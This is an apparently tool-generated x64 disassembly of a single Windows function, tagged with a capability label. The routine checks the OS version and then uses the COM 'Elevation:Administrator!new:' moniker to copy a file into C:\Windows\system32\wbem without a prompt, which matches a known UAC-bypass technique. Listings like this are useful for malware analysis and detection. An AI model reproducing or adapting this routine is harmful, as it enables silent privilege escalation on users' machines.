Function at 0x1400011e8
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x10], rdx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x2c8]
sub rsp, 0x3a0
mov r14, rcx
lea rdi, [rsp + 0x70]
mov edx, 0x114
xor r12d, r12d
mov ecx, edx
mov qword [rbp + 0x2d8], r12
xor eax, eax
mov qword [rbp + 0x2e8], r12
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], edx
mov ebx, r12d
call qword [sym.imp.ntdll.dll_RtlGetVersion]
cmp dword [rsp + 0x7c], 0x1db0
jae 0x140001259
lea ecx, [r12 + 1]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [rsp + 0x7c], 0x3a95
mov eax, 0x10840014
mov esi, 0x10800010
mov edx, 2
cmovbe esi, eax
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov r15d, eax
xor eax, eax
movups xmm1, xmmword [0x140002120]
lea rdi, [rsp + 0x38]
mov qword [rsp + 0x30], r12
movaps xmmword [rbp + 0x90], xmm0
movups xmm0, xmmword [0x140002130]
lea edx, [rax + 0x30]
mov ecx, edx
movaps xmmword [rbp + 0xa0], xmm1
movsd xmm1, qword [0x140002140]
rep stosb byte [rdi], al
movzx eax, word [0x140002148]
lea rcx, [rbp + 0x90]
sub rcx, 2
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x4c], 4
movaps xmmword [rbp + 0xb0], xmm0
movsd qword [rbp + 0xc0], xmm1
mov word [rbp + 0xc8], ax
lea rcx, [rcx + 2]
cmp word [rcx], r12w
jne 0x1400012f0
movaps xmm0, xmmword [str.3AD05575_8857_4850_9277_11B85BDB8E09]
lea r9, [rsp + 0x30]
movaps xmm1, xmmword [0x140002160]
lea r8, [0x1400020e0]
mov eax, dword [0x140002198]
lea rdx, [rsp + 0x38]
movups xmmword [rcx], xmm0
movaps xmm0, xmmword [0x140002170]
movups xmmword [rcx + 0x10], xmm1
movaps xmm1, xmmword [0x140002180]
movups xmmword [rcx + 0x20], xmm0
movsd xmm0, qword [0x140002190]
movups xmmword [rcx + 0x30], xmm1
movsd qword [rcx + 0x40], xmm0
mov dword [rcx + 0x48], eax
movzx eax, word [0x14000219c]
mov word [rcx + 0x4c], ax
lea rcx, [rbp + 0x90]
call qword [sym.imp.ole32.dll_CoGetObject]
mov rdi, qword [rsp + 0x30]
test eax, eax
jne 0x140001431
test rdi, rdi
je 0x14000143f
mov rax, qword [rdi]
mov edx, esi
mov rcx, rdi
call qword [rax + 0x28]
test eax, eax
jne 0x140001436
lea r9, [rbp + 0x2d8]
xor edx, edx
lea r8, [0x1400020d0]
mov rcx, r14
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
test eax, eax
jne 0x140001436
lea r9, [rbp + 0x2e8]
xor edx, edx
lea r8, [0x1400020d0]
lea rcx, str.C:Windows_system32wbem
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
test eax, eax
jne 0x140001436
mov rax, qword [rdi]
xor r9d, r9d
mov r8, qword [rbp + 0x2e8]
mov rcx, rdi
mov rdx, qword [rbp + 0x2d8]
mov qword [rsp + 0x20], r12
call qword [rax + 0x70]
test eax, eax
jne 0x140001436
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0xa8]
test eax, eax
jne 0x140001436
mov rcx, qword [rbp + 0x2e8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2d8]
mov qword [rbp + 0x2e8], r12
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x2d8], r12
mov ebx, 1
jmp 0x140001436
test rdi, rdi
je 0x14000143f
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2d8]
test rcx, rcx
je 0x140001451
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2e8]
test rcx, rcx
je 0x140001463
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test r15d, r15d
jne 0x14000146e
call qword [sym.imp.ole32.dll_CoUninitialize]
lea r11, [rsp + 0x3a0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret